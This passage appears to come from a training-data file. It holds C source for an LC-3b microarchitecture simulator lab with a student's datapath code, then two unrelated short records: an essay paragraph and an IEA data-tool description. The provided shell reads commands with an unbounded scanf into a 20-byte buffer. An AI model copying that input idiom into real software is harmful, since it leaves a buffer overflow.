GetGATE_PC(int *x)       { return(x[GATE_PC]); }\nint GetGATE_MDR(int *x)      { return(x[GATE_MDR]); }\nint GetGATE_ALU(int *x)      { return(x[GATE_ALU]); }\nint GetGATE_MARMUX(int *x)   { return(x[GATE_MARMUX]); }\nint GetGATE_SHF(int *x)      { return(x[GATE_SHF]); }\nint GetPCMUX(int *x)         { return((x[PCMUX1] << 1) + x[PCMUX0]); }\nint GetDRMUX(int *x)         { return(x[DRMUX]); }\nint GetSR1MUX(int *x)        { return(x[SR1MUX]); }\nint GetADDR1MUX(int *x)      { return(x[ADDR1MUX]); }\nint GetADDR2MUX(int *x)      { return((x[ADDR2MUX1] << 1) + x[ADDR2MUX0]); }\nint GetMARMUX(int *x)        { return(x[MARMUX]); }\nint GetALUK(int *x)          { return((x[ALUK1] << 1) + x[ALUK0]); }\nint GetMIO_EN(int *x)        { return(x[MIO_EN]); }\nint GetR_W(int *x)           { return(x[R_W]); }\nint GetDATA_SIZE(int *x)     { return(x[DATA_SIZE]); } \nint GetLSHF1(int *x)         { return(x[LSHF1]); }\n\n/***************************************************************/\n/* The control store rom.                                      */\n/***************************************************************/\nint CONTROL_STORE[CONTROL_STORE_ROWS][CONTROL_STORE_BITS];\n\n/***************************************************************/\n/* Main memory.                                                */\n/***************************************************************/\n/* MEMORY[A][0] stores the least significant byte of word at word address A\n   MEMORY[A][1] stores the most significant byte of word at word address A \n   There are two write enable signals, one for each byte. WE0 is used for \n   the least significant byte of a word. WE1 is used for the most significant \n   byte of a word. */\n\n#define WORDS_IN_MEM    0x08000 \n#define MEM_CYCLES      5\nint MEMORY[WORDS_IN_MEM][2];\n\n/***************************************************************/\n\n/***************************************************************/\n\n/***************************************************************/\n/* LC-3b State info.                                           */\n/***************************************************************/\n#define LC_3b_REGS 8\n\nint RUN_BIT;\t/* run bit */\nint BUS;\t/* value of the bus */\n\ntypedef struct System_Latches_Struct{\n\nint PC,\t\t/* program counter */\n    MDR,\t/* memory data register */\n    MAR,\t/* memory address register */\n    IR,\t\t/* instruction register */\n    N,\t\t/* n condition bit */\n    Z,\t\t/* z condition bit */\n    P,\t\t/* p condition bit */\n    BEN;        /* ben register */\n\nint READY;\t/* ready bit */\n  /* The ready bit is also latched as you dont want the memory system to assert it \n     at a bad point in the cycle*/\n\nint REGS[LC_3b_REGS]; /* register file. */\n\nint MICROINSTRUCTION[CONTROL_STORE_BITS]; /* The microintruction */\n\nint STATE_NUMBER; /* Current State Number - Provided for debugging */ \n} System_Latches;\n\n/* Data Structure for Latch */\n\nSystem_Latches CURRENT_LATCHES, NEXT_LATCHES;\n\n/***************************************************************/\n/* A cycle counter.                                            */\n/***************************************************************/\nint CYCLE_COUNT;\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : help                                            */\n/*                                                             */\n/* Purpose   : Print out a list of commands.                   */\n/*                                                             */\n/***************************************************************/\nvoid help() {                                                    \n    printf(\"----------------LC-3bSIM Help-------------------------\\n\");\n    printf(\"go               -  run program to completion       \\n\");\n    printf(\"run n            -  execute program for n cycles    \\n\");\n    printf(\"mdump low high   -  dump memory from low to high    \\n\");\n    printf(\"rdump            -  dump the register & bus values  \\n\");\n    printf(\"?                -  display this help menu          \\n\");\n    printf(\"quit             -  exit the program                \\n\\n\");\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : cycle                                           */\n/*                                                             */\n/* Purpose   : Execute a cycle                                 */\n/*                                                             */\n/***************************************************************/\nvoid cycle() {                                                \n\n  eval_micro_sequencer();   \n  cycle_memory();\n  eval_bus_drivers();\n  drive_bus();\n  latch_datapath_values();\n\n  CURRENT_LATCHES = NEXT_LATCHES;\n\n  CYCLE_COUNT++;\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : run n                                           */\n/*                                                             */\n/* Purpose   : Simulate the LC-3b for n cycles.                 */\n/*                                                             */\n/***************************************************************/\nvoid run(int num_cycles) {                                      \n    int i;\n\n    if (RUN_BIT == FALSE) {\n\tprintf(\"Can't simulate, Simulator is halted\\n\\n\");\n\treturn;\n    }\n\n    printf(\"Simulating for %d cycles...\\n\\n\", num_cycles);\n    for (i = 0; i < num_cycles; i++) {\n\tif (CURRENT_LATCHES.PC == 0x0000) {\n\t    RUN_BIT = FALSE;\n\t    printf(\"Simulator halted\\n\\n\");\n\t    break;\n\t}\n\tcycle();\n    }\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : go                                              */\n/*                                                             */\n/* Purpose   : Simulate the LC-3b until HALTed.                 */\n/*                                                             */\n/***************************************************************/\nvoid go() {                                                     \n    if (RUN_BIT == FALSE) {\n\tprintf(\"Can't simulate, Simulator is halted\\n\\n\");\n\treturn;\n    }\n\n    printf(\"Simulating...\\n\\n\");\n    while (CURRENT_LATCHES.PC != 0x0000)\n\tcycle();\n    RUN_BIT = FALSE;\n    printf(\"Simulator halted\\n\\n\");\n}\n\n/***************************************************************/ \n/*                                                             */\n/* Procedure : mdump                                           */\n/*                                                             */\n/* Purpose   : Dump a word-aligned region of memory to the     */\n/*             output file.                                    */\n/*                                                             */\n/***************************************************************/\nvoid mdump(FILE * dumpsim_file, int start, int stop) {          \n    int address; /* this is a byte address */\n\n    printf(\"\\nMemory content [0x%.4x..0x%.4x] :\\n\", start, stop);\n    printf(\"-------------------------------------\\n\");\n    for (address = (start >> 1); address <= (stop >> 1); address++)\n\tprintf(\"  0x%.4x (%d) : 0x%.2x%.2x\\n\", address << 1, address << 1, MEMORY[address][1], MEMORY[address][0]);\n    printf(\"\\n\");\n\n    /* dump the memory contents into the dumpsim file */\n    fprintf(dumpsim_file, \"\\nMemory content [0x%.4x..0x%.4x] :\\n\", start, stop);\n    fprintf(dumpsim_file, \"-------------------------------------\\n\");\n    for (address = (start >> 1); address <= (stop >> 1); address++)\n\tfprintf(dumpsim_file, \" 0x%.4x (%d) : 0x%.2x%.2x\\n\", address << 1, address << 1, MEMORY[address][1], MEMORY[address][0]);\n    fprintf(dumpsim_file, \"\\n\");\n    fflush(dumpsim_file);\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : rdump                                           */\n/*                                                             */\n/* Purpose   : Dump current register and bus values to the     */   \n/*             output file.                                    */\n/*                                                             */\n/***************************************************************/\nvoid rdump(FILE * dumpsim_file) {                               \n    int k; \n\n    printf(\"\\nCurrent register/bus values :\\n\");\n    printf(\"-------------------------------------\\n\");\n    printf(\"Cycle Count  : %d\\n\", CYCLE_COUNT);\n    printf(\"PC           : 0x%.4x\\n\", CURRENT_LATCHES.PC);\n    printf(\"IR           : 0x%.4x\\n\", CURRENT_LATCHES.IR);\n    printf(\"STATE_NUMBER : 0x%.4x\\n\\n\", CURRENT_LATCHES.STATE_NUMBER);\n    printf(\"BUS          : 0x%.4x\\n\", BUS);\n    printf(\"MDR          : 0x%.4x\\n\", CURRENT_LATCHES.MDR);\n    printf(\"MAR          : 0x%.4x\\n\", CURRENT_LATCHES.MAR);\n    printf(\"CCs: N = %d  Z = %d  P = %d\\n\", CURRENT_LATCHES.N, CURRENT_LATCHES.Z, CURRENT_LATCHES.P);\n    printf(\"Registers:\\n\");\n    for (k = 0; k < LC_3b_REGS; k++)\n\tprintf(\"%d: 0x%.4x\\n\", k, CURRENT_LATCHES.REGS[k]);\n    printf(\"\\n\");\n\n    /* dump the state information into the dumpsim file */\n    fprintf(dumpsim_file, \"\\nCurrent register/bus values :\\n\");\n    fprintf(dumpsim_file, \"-------------------------------------\\n\");\n    fprintf(dumpsim_file, \"Cycle Count  : %d\\n\", CYCLE_COUNT);\n    fprintf(dumpsim_file, \"PC           : 0x%.4x\\n\", CURRENT_LATCHES.PC);\n    fprintf(dumpsim_file, \"IR           : 0x%.4x\\n\", CURRENT_LATCHES.IR);\n    fprintf(dumpsim_file, \"STATE_NUMBER : 0x%.4x\\n\\n\", CURRENT_LATCHES.STATE_NUMBER);\n    fprintf(dumpsim_file, \"BUS          : 0x%.4x\\n\", BUS);\n    fprintf(dumpsim_file, \"MDR          : 0x%.4x\\n\", CURRENT_LATCHES.MDR);\n    fprintf(dumpsim_file, \"MAR          : 0x%.4x\\n\", CURRENT_LATCHES.MAR);\n    fprintf(dumpsim_file, \"CCs: N = %d  Z = %d  P = %d\\n\", CURRENT_LATCHES.N, CURRENT_LATCHES.Z, CURRENT_LATCHES.P);\n    fprintf(dumpsim_file, \"Registers:\\n\");\n    for (k = 0; k < LC_3b_REGS; k++)\n\tfprintf(dumpsim_file, \"%d: 0x%.4x\\n\", k, CURRENT_LATCHES.REGS[k]);\n    fprintf(dumpsim_file, \"\\n\");\n    fflush(dumpsim_file);\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : get_command                                     */\n/*                                                             */\n/* Purpose   : Read a command from standard input.             */  \n/*                                                             */\n/***************************************************************/\nvoid get_command(FILE * dumpsim_file) {                         \n    char buffer[20];\n    int start, stop, cycles;\n\n    printf(\"LC-3b-SIM> \");\n\n    scanf(\"%s\", buffer);\n    printf(\"\\n\");\n\n    switch(buffer[0]) {\n    case 'G':\n    case 'g':\n\tgo();\n\tbreak;\n\n    case 'M':\n    case 'm':\n\tscanf(\"%i %i\", &start, &stop);\n\tmdump(dumpsim_file, start, stop);\n\tbreak;\n\n    case '?':\n\thelp();\n\tbreak;\n    case 'Q':\n    case 'q':\n\tprintf(\"Bye.\\n\");\n\texit(0);\n\n    case 'R':\n    case 'r':\n\tif (buffer[1] == 'd' || buffer[1] == 'D')\n\t    rdump(dumpsim_file);\n\telse {\n\t    scanf(\"%d\", &cycles);\n\t    run(cycles);\n\t}\n\tbreak;\n\n    default:\n\tprintf(\"Invalid Command\\n\");\n\tbreak;\n    }\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : init_control_store                              */\n/*                                                             */\n/* Purpose   : Load microprogram into control store ROM        */ \n/*                                                             */\n/***************************************************************/\nvoid init_control_store(char *ucode_filename) {                 \n    FILE *ucode;\n    int i, j, index;\n    char line[200];\n\n    printf(\"Loading Control Store from file: %s\\n\", ucode_filename);\n\n    /* Open the micro-code file. */\n    if ((ucode = fopen(ucode_filename, \"r\")) == NULL) {\n\tprintf(\"Error: Can't open micro-code file %s\\n\", ucode_filename);\n\texit(-1);\n    }\n\n    /* Read a line for each row in the control store. */\n    for(i = 0; i < CONTROL_STORE_ROWS; i++) {\n\tif (fscanf(ucode, \"%[^\\n]\\n\", line) == EOF) {\n\t    printf(\"Error: Too few lines (%d) in micro-code file: %s\\n\",\n\t\t   i, ucode_filename);\n\t    exit(-1);\n\t}\n\n\t/* Put in bits one at a time. */\n\tindex = 0;\n\n\tfor (j = 0; j < CONTROL_STORE_BITS; j++) {\n\t    /* Needs to find enough bits in line. */\n\t    if (line[index] == '\\0') {\n\t\tprintf(\"Error: Too few control bits in micro-code file: %s\\nLine: %d\\n\",\n\t\t       ucode_filename, i);\n\t\texit(-1);\n\t    }\n\t    if (line[index] != '0' && line[index] != '1') {\n\t\tprintf(\"Error: Unknown value in micro-code file: %s\\nLine: %d, Bit: %d\\n\",\n\t\t       ucode_filename, i, j);\n\t\texit(-1);\n\t    }\n\n\t    /* Set the bit in the Control Store. */\n\t    CONTROL_STORE[i][j] = (line[index] == '0') ? 0:1;\n\t    index++;\n\t}\n\n\t/* Warn about extra bits in line. */\n\tif (line[index] != '\\0')\n\t    printf(\"Warning: Extra bit(s) in control store file %s. Line: %d\\n\",\n\t\t   ucode_filename, i);\n    }\n    printf(\"\\n\");\n}\n\n/************************************************************/\n/*                                                          */\n/* Procedure : init_memory                                  */\n/*                                                          */\n/* Purpose   : Zero out the memory array                    */\n/*                                                          */\n/************************************************************/\nvoid init_memory() {                                           \n    int i;\n\n    for (i=0; i < WORDS_IN_MEM; i++) {\n\tMEMORY[i][0] = 0;\n\tMEMORY[i][1] = 0;\n    }\n}\n\n/**************************************************************/\n/*                                                            */\n/* Procedure : load_program                                   */\n/*                                                            */\n/* Purpose   : Load program and service routines into mem.    */\n/*                                                            */\n/**************************************************************/\nvoid load_program(char *program_filename) {                   \n    FILE * prog;\n    int ii, word, program_base;\n\n    /* Open program file. */\n    prog = fopen(program_filename, \"r\");\n    if (prog == NULL) {\n\tprintf(\"Error: Can't open program file %s\\n\", program_filename);\n\texit(-1);\n    }\n\n    /* Read in the program. */\n    if (fscanf(prog, \"%x\\n\", &word) != EOF)\n\tprogram_base = word >> 1;\n    else {\n\tprintf(\"Error: Program file is empty\\n\");\n\texit(-1);\n    }\n\n    ii = 0;\n    while (fscanf(prog, \"%x\\n\", &word) != EOF) {\n\t/* Make sure it fits. */\n\tif (program_base + ii >= WORDS_IN_MEM) {\n\t    printf(\"Error: Program file %s is too long to fit in memory. %x\\n\",\n\t\t   program_filename, ii);\n\t    exit(-1);\n\t}\n\n\t/* Write the word to memory array. */\n\tMEMORY[program_base + ii][0] = word & 0x00FF;\n\tMEMORY[program_base + ii][1] = (word >> 8) & 0x00FF;\n\tii++;\n    }\n\n    if (CURRENT_LATCHES.PC == 0) CURRENT_LATCHES.PC = (program_base << 1);\n\n    printf(\"Read %d words from program into memory.\\n\\n\", ii);\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : initialize                                      */\n/*                                                             */\n/* Purpose   : Load microprogram and machine language program  */ \n/*             and set up initial state of the machine.        */\n/*                                                             */\n/***************************************************************/\nvoid initialize(char *ucode_filename, char *program_filename, int num_prog_files) { \n    int i;\n    init_control_store(ucode_filename);\n\n    init_memory();\n    for ( i = 0; i < num_prog_files; i++ ) {\n\tload_program(program_filename);\n\twhile(*program_filename++ != '\\0');\n    }\n    CURRENT_LATCHES.Z = 1;\n    CURRENT_LATCHES.STATE_NUMBER = INITIAL_STATE_NUMBER;\n    memcpy(CURRENT_LATCHES.MICROINSTRUCTION, CONTROL_STORE[INITIAL_STATE_NUMBER], sizeof(int)*CONTROL_STORE_BITS);\n\n    NEXT_LATCHES = CURRENT_LATCHES;\n\n    RUN_BIT = TRUE;\n}\n\n/***************************************************************/\n/*                                                             */\n/* Procedure : main                                            */\n/*                                                             */\n/***************************************************************/\nint main(int argc, char *argv[]) {                              \n    FILE * dumpsim_file;\n\n    /* Error Checking */\n    if (argc < 3) {\n\tprintf(\"Error: usage: %s <micro_code_file> <program_file_1> <program_file_2> ...\\n\",\n\t       argv[0]);\n\texit(1);\n    }\n\n    printf(\"LC-3b Simulator\\n\\n\");\n\n    initialize(argv[1], argv[2], argc - 2);\n\n    if ( (dumpsim_file = fopen( \"dumpsim\", \"w\" )) == NULL ) {\n\tprintf(\"Error: Can't open dumpsim file\\n\");\n\texit(-1);\n    }\n\n    while (1)\n\tget_command(dumpsim_file);\n\n}\n\n/***************************************************************/\n/* Do not modify the above code.\n   You are allowed to use the following global variables in your\n   code. These are defined above.\n\n   CONTROL_STORE\n   MEMORY\n   BUS\n\n   CURRENT_LATCHES\n   NEXT_LATCHES\n\n   You may define your own local/global variables and functions.\n   You may use the functions to get at the control bits defined\n   above.\n\n   Begin your code here \t  \t\t\t       */\n/***************************************************************/\n#include \"math.h\"\n\n#define mask01 0x01\n#define mask04 0x0F\n#define mask05 0x01F\n#define mask06 0x03F\n#define mask08 0x0FF\n#define mask09 0x01FF\n#define mask11 0x7FF\n\n/*Get bit N's value of ir */\nint getBit(int n,int ir) {\n  int bitN;\n  return (ir>>n)&mask01 ;\n}\n\n/*get integer represented by [to:from] bits*/\nint getBitRange(int from,int to, int ir) {\n    int mask, tFrom, tTo;\n    tFrom = from;\n    tTo = to ;\n    if(from > to) {\n        tFrom = to;\n        tTo = from ;\n    }\n    mask = pow(2,tTo-tFrom+1)-1 ;\n    return (ir>>tFrom)&mask ;\n}\n\nint sext(int n, signed int Num) {\n    /*n is the total number of bits of int Num */\n    signed int tmp ;\n    int ns = 32 - n ;\n    tmp = (Num<<ns)>>ns ;\n    return tmp ;\n}\n\nvoid setCC(int dr) {\n    if (NEXT_LATCHES.REGS[dr]==0)  {\n        NEXT_LATCHES.N=0;\n        NEXT_LATCHES.Z=1;\n        NEXT_LATCHES.P=0;\n        printf(\"Info: In func: setCC : set Z =1 based dr 0x%x\\n\",NEXT_LATCHES.REGS[dr]);\n    } else if (getBitRange(15,15,NEXT_LATCHES.REGS[dr])==0)  {\n        NEXT_LATCHES.N=0;\n        NEXT_LATCHES.Z=0;\n        NEXT_LATCHES.P=1;\n        printf(\"Info: In func: setCC : set P =1 based on dr 0x%x\\n\",NEXT_LATCHES.REGS[dr]);\n    } else if(getBitRange(15,15,NEXT_LATCHES.REGS[dr])==1){\n        NEXT_LATCHES.N=1;\n        NEXT_LATCHES.Z=0;\n        NEXT_LATCHES.P=0;\n        printf(\"Info: In func: setCC: set N = 1 based on dr 0x%x\\n\",NEXT_LATCHES.REGS[dr]);\n    }\n}\n\n/* \n* Evaluate the address of the next state according to the \n* micro sequencer logic. Latch the next microinstruction.\n*/\n\nenum COND {Unconditional, Memory_Ready, Branch, Addressing_Mode} COND;\n\nvoid eval_micro_sequencer() {\n    int cond, j;\n    if(GetIRD(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        NEXT_LATCHES.STATE_NUMBER = getBitRange(12, 15, CURRENT_LATCHES.IR) & mask04;\n    }\n\n    else {\n        cond = GetCOND(CURRENT_LATCHES.MICROINSTRUCTION);\n        j = GetJ(CURRENT_LATCHES.MICROINSTRUCTION);\n\n        switch (cond) {\n            case Unconditional:\n                NEXT_LATCHES.STATE_NUMBER = j;\n                break;\n            case Memory_Ready:\n                NEXT_LATCHES.STATE_NUMBER = (getBitRange(2, 5, j) << 2) + (CURRENT_LATCHES.READY << 1) + getBit(0, j);\n                break;\n            case Branch:\n                NEXT_LATCHES.STATE_NUMBER = (getBitRange(3, 5, j) << 3) + (CURRENT_LATCHES.BEN << 2) + getBitRange(0, 1, j);\n                break;\n            case Addressing_Mode:\n                NEXT_LATCHES.STATE_NUMBER = (getBitRange(1, 5, j) << 1) + getBit(11, CURRENT_LATCHES.IR);\n                break;\n        }\n\n    }\n\n    memcpy(NEXT_LATCHES.MICROINSTRUCTION, CONTROL_STORE[NEXT_LATCHES.STATE_NUMBER], sizeof(int)*CONTROL_STORE_BITS);\n}\n\n/* \n* This function emulates memory and the WE logic. \n* Keep track of which cycle of MEMEN we are dealing with.  \n* If fourth, we need to latch Ready bit at the end of \n* cycle to prepare microsequencer for the fifth cycle.  \n*/\nint mem_cycle_count;\n\nvoid cycle_memory() {\n    int memIndex;\n    NEXT_LATCHES.READY = 0;\n    \n    if(GetMIO_EN(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        memIndex = CURRENT_LATCHES.MAR >> 1;\n\n\n        if(mem_cycle_count == 4) {\n            NEXT_LATCHES.READY = 1;\n        }\n\n        if(mem_cycle_count == 5) {\n            /* Read Logic */\n            if(GetR_W(CURRENT_LATCHES.MICROINSTRUCTION) == 0) {\n                if(GetLD_MDR(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n                    NEXT_LATCHES.MDR = Low16bits((MEMORY[memIndex][1] << 8) + MEMORY[memIndex][0]);\n                }\n            }\n\n            /* WE LOGIC */\n            else {\n                /* STB odd addr*/\n\n                if(getBit(0, CURRENT_LATCHES.MAR) == 1) {\n                    MEMORY[memIndex][1] = getBitRange(8, 15, CURRENT_LATCHES.MDR);\n                }\n\n                else {\n                    /* STB even addr*/\n                    if(GetDATA_SIZE(CURRENT_LATCHES.MICROINSTRUCTION) == 0) {\n                        MEMORY[memIndex][0] = getBitRange(0, 7, CURRENT_LATCHES.MDR);\n                    }\n\n                    /* STW */\n                    else {\n                        MEMORY[memIndex][0] = getBitRange(0, 7, CURRENT_LATCHES.MDR);\n                        MEMORY[memIndex][1] = getBitRange(8, 15, CURRENT_LATCHES.MDR);\n                    }\n                }\n            }\n        \n        }\n        /* track of cycle */\n        mem_cycle_count++;\n    }\n\n    else {\n        mem_cycle_count = 1;\n    }\n}\n\nint Gate_MARMUX_val, Gate_PC_val, Gate_ALU_val, Gate_SHF_val, Gate_MDR_val;\nint sext0to4, sext0to5, sext0to8, sext0to10, zextlshf1;\nint sr1, sr2;\nint amount4;\nint adderVal;\nenum ADDR2MUX {ZERO, offset6, PCoffset9, PCoffset11} ADDR2MUX;\nenum SHF {LSHF, RSHFL, RESERVE, RSHFA} SHF;\nenum ALUK {ADD, AND, XOR, PASSA} ALUK;\n\n/* \n* Datapath routine emulating operations before driving the bus.\n* Evaluate the input of tristate drivers \n*             Gate_MARMUX,\n*         Gate_PC,\n*         Gate_ALU,\n*         Gate_SHF,\n*         Gate_MDR.\n*/  \n\nvoid eval_bus_drivers() {\n    /* GateALU */\n    int A, B;\n\n    sext0to4 = sext(5, getBitRange(0, 4, CURRENT_LATCHES.IR));\n\n    if(GetSR1MUX(CURRENT_LATCHES.MICROINSTRUCTION) == 0)\n        sr1 = CURRENT_LATCHES.REGS[getBitRange(9, 11, CURRENT_LATCHES.IR)];\n    else sr1 = CURRENT_LATCHES.REGS[getBitRange(6, 8, CURRENT_LATCHES.IR)];\n\n    sr2 = CURRENT_LATCHES.REGS[getBitRange(0, 2, CURRENT_LATCHES.IR)];\n\n    A = sr1;\n    if(getBit(5, CURRENT_LATCHES.IR) == 0)\n        B = sr2;\n    else B = sext0to4;\n\n    switch (GetALUK(CURRENT_LATCHES.MICROINSTRUCTION)) {\n        case ADD:\n            Gate_ALU_val = Low16bits(A + B);\n            break;\n        case AND:\n            Gate_ALU_val = Low16bits(A & B);\n            break;\n        case XOR:\n            Gate_ALU_val = Low16bits(A ^ B);\n            break;\n        case PASSA:\n            Gate_ALU_val = Low16bits(A);\n            break;\n    }\n\n    /* GateSHF */\n    amount4 = getBitRange(0,3, CURRENT_LATCHES.IR);\n\n    switch(getBitRange(4, 5, CURRENT_LATCHES.IR)) {\n        case LSHF:\n            Gate_SHF_val = Low16bits(sr1 << amount4);\n            break;\n        case RSHFL:\n            Gate_SHF_val = Low16bits(sr1 >> amount4);\n            break;\n        case RSHFA:\n            Gate_SHF_val = Low16bits((sr1 << 16) >> (amount4 + 16));\n            break;\n        default:\n            Gate_SHF_val = 0;\n            break;\n    }\n\n    /* GateMARMUX */\n    int addOp1, addOp2;\n\n    sext0to5 = sext(6, getBitRange(0, 5, CURRENT_LATCHES.IR)); \n    sext0to8 = sext(9, getBitRange(0, 8, CURRENT_LATCHES.IR));\n    sext0to10 = sext(11, getBitRange(0, 10, CURRENT_LATCHES.IR));\n    zextlshf1 = getBitRange(0, 7, CURRENT_LATCHES.IR) << 1;\n\n    /* Attention: adderVal is shared between MARMUX and PCMUX! */\n    if(GetADDR1MUX(CURRENT_LATCHES.MICROINSTRUCTION) == 0)\n        addOp1 = CURRENT_LATCHES.PC;\n    else addOp1 = sr1; /* BaseR */\n\n    switch(GetADDR2MUX(CURRENT_LATCHES.MICROINSTRUCTION)) {\n        case ZERO:\n            addOp2 = 0;\n            break;\n        case offset6:\n            addOp2 = sext0to5;\n            break;\n        case PCoffset9:\n            addOp2 = sext0to8;\n            break;\n        case PCoffset11:\n            addOp2 = sext0to10;\n            break;\n    }\n\n    if(GetLSHF1(CURRENT_LATCHES.MICROINSTRUCTION) == 1)\n        addOp2 = addOp2 << 1;\n\n    adderVal = addOp1 + addOp2;\n\n    if(GetMARMUX(CURRENT_LATCHES.MICROINSTRUCTION) == 0) \n        Gate_MARMUX_val = Low16bits(zextlshf1);\n\n    else Gate_MARMUX_val = Low16bits(adderVal);\n\n\n    /* GatePC */\n    Gate_PC_val = Low16bits(CURRENT_LATCHES.PC);\n\n    /* GateMDR */\n    \n    /* Even addr */\n    if(getBit(0, CURRENT_LATCHES.MAR) == 0) {\n        if(GetDATA_SIZE(CURRENT_LATCHES.MICROINSTRUCTION) == 0) /* LDB of lower byte */\n            Gate_MDR_val = Low16bits(sext(8, getBitRange(0, 7, CURRENT_LATCHES.MDR)));\n        else Gate_MDR_val = Low16bits(CURRENT_LATCHES.MDR); /* LDW */\n    }\n\n    else /* Odd addr, aka LDB of higher byte */\n        Gate_MDR_val = Low16bits(sext(8, getBitRange(8, 15, CURRENT_LATCHES.MDR)));\n\n}\n\n/* \n* Datapath routine for driving the bus from one of the 5 possible \n* tristate drivers. \n*/       \n\nvoid drive_bus() {\n    if(GetGATE_MARMUX(CURRENT_LATCHES.MICROINSTRUCTION) == 1)\n        BUS = Gate_MARMUX_val;\n    else if(GetGATE_PC(CURRENT_LATCHES.MICROINSTRUCTION) == 1)\n        BUS = Gate_PC_val;\n    else if(GetGATE_ALU(CURRENT_LATCHES.MICROINSTRUCTION) == 1)\n        BUS = Gate_ALU_val;\n    else if(GetGATE_SHF(CURRENT_LATCHES.MICROINSTRUCTION) == 1)\n        BUS = Gate_SHF_val;\n    else if(GetGATE_MDR(CURRENT_LATCHES.MICROINSTRUCTION) == 1)\n        BUS = Gate_MDR_val;\n    else\n        BUS = 0;\n\n}\n\n/* \n* Datapath routine for computing all functions that need to latch\n* values in the data path at the end of this cycle.  Some values\n* require sourcing the bus; therefore, this routine has to come \n* after drive_bus.\n*/       \nint dr;\nenum PCMUX {PCplus2, Bus, Adder} PCMUX;\n\nvoid latch_datapath_values() {\n    /* LD.MAR */\n    if(GetLD_MAR(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        NEXT_LATCHES.MAR = Low16bits(BUS);\n    }\n\n    /* LD.MDR */\n    if(GetLD_MDR(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        if(GetMIO_EN(CURRENT_LATCHES.MICROINSTRUCTION) == 0) {\n            if(getBit(0, CURRENT_LATCHES.MAR) == 0) {\n                if(GetDATA_SIZE(CURRENT_LATCHES.MICROINSTRUCTION) == 0) /* STB of the lower byte */\n                    NEXT_LATCHES.MDR = Low16bits((getBitRange(0, 7, BUS) << 8) + getBitRange(0, 7, BUS));\n                else /* STW */\n                    NEXT_LATCHES.MDR = Low16bits(BUS);\n            }\n\n            else { /* STB of the higher byte */\n            \tNEXT_LATCHES.MDR = Low16bits((getBitRange(0, 7, BUS) << 8) + getBitRange(0, 7, BUS)); /* The same as MAR[0] == 0, different operations will be applied in cycle_memory. */\n            }\n        }\n    }\n\n    /* LD.IR */\n    if(GetLD_IR(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        NEXT_LATCHES.IR = Low16bits(BUS);\n    }\n\n    /* LD.BEN */\n    if(GetLD_BEN(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        NEXT_LATCHES.BEN = (CURRENT_LATCHES.N & getBit(11, CURRENT_LATCHES.IR)) \n            + (CURRENT_LATCHES.Z & getBit(10, CURRENT_LATCHES.IR)) \n                + (CURRENT_LATCHES.P & getBit(9, CURRENT_LATCHES.IR));\n    }\n\n    /* LD.REG */\n    if(GetLD_REG(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        if(GetDRMUX(CURRENT_LATCHES.MICROINSTRUCTION) == 0)\n            dr = getBitRange(9, 11, CURRENT_LATCHES.IR);\n        else dr = 7;\n\n        NEXT_LATCHES.REGS[dr] = Low16bits(BUS);\n    }\n\n    /* LD.CC */\n    if(GetLD_CC(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        if(BUS == 0) {\n        \tNEXT_LATCHES.N = 0;\n        \tNEXT_LATCHES.Z = 1;\n        \tNEXT_LATCHES.P = 0;\n        }\n\n        else if(getBit(15, BUS) == 0) {\n        \tNEXT_LATCHES.N = 0;\n        \tNEXT_LATCHES.Z = 0;\n        \tNEXT_LATCHES.P = 1;\n        }\n\n        else if(getBit(15, BUS) == 1) {\n        \tNEXT_LATCHES.N = 1;\n        \tNEXT_LATCHES.Z = 0;\n        \tNEXT_LATCHES.P = 0;\n        }\n    }\n\n    /* LD.PC */\n    if(GetLD_PC(CURRENT_LATCHES.MICROINSTRUCTION) == 1) {\n        switch (GetPCMUX(CURRENT_LATCHES.MICROINSTRUCTION)) {\n            case PCplus2:\n                NEXT_LATCHES.PC = Low16bits(CURRENT_LATCHES.PC + 2);\n                break;\n            case Bus:\n                NEXT_LATCHES.PC = Low16bits(BUS);\n                break;\n            case Adder:\n                NEXT_LATCHES.PC = Low16bits(adderVal);\n                break;\n        }\n    }\n}", "source": "cpt_stack_code", "language": "code", "token_count": 8889, "token_count_with_eod": 8890, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "2009 Communication Channels\nThe working assumption here is that more is better. More is certainly more and we should absolutely not ignore or block these opportunities. The trick, I think, is to think carefully and complexly and not make an immediate leap into \"new is better.\" It may well be better--but the question bears thinking about, lest we end up making equal and opposite errors as we rush from one ideology to another.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Energy Technology RD&D Budgets Data Explorer\nDetailed breakdown of public budgets on energy RD&D submitted to the IEA by its member and association countries\nCite data tool\nIEA (2022), Energy Technology RD&D Budgets Data Explorer, IEA, Paris https://www.iea.org/data-and-statistics/data-tools/energy-technology-rdd-budgets-data-explorer\nThe explorer displays public budgets on energy RD&D submitted to the IEA by its member or association countries. The data is available in the IEA Energy Technology RD&D Budgets database, which is updated twice a year in May and October.\nTo find more information on the definition of energy RD&D as well as the definition of each of the technology categories in the explorer, please refer to the IEA Guide to Reporting Energy RD&D Budgets/Expenditures Statistics. To find more information on the geographical and time coverage, details on each of the countries datasets and definitions of the products, please refer to the database documentation.\nThe IEA aggregates include estimates when data points are missing. European Union refers to the European Union budget under Horizon 2020 and the Innovation Fund, and not to the sum of national budgets of European Union member countries. The large increase in 2009 is in large part due to the American Recovery and Reinvestment Act (ARRA) budgeted by the United States in that year.\nWhile the database contains data for many countries as far back as 1974, the lengths of the time axes are automatically adjusted to the available data for a given data selection.\nFor any questions or feedback, please contact us at firstname.lastname@example.org.", "source": 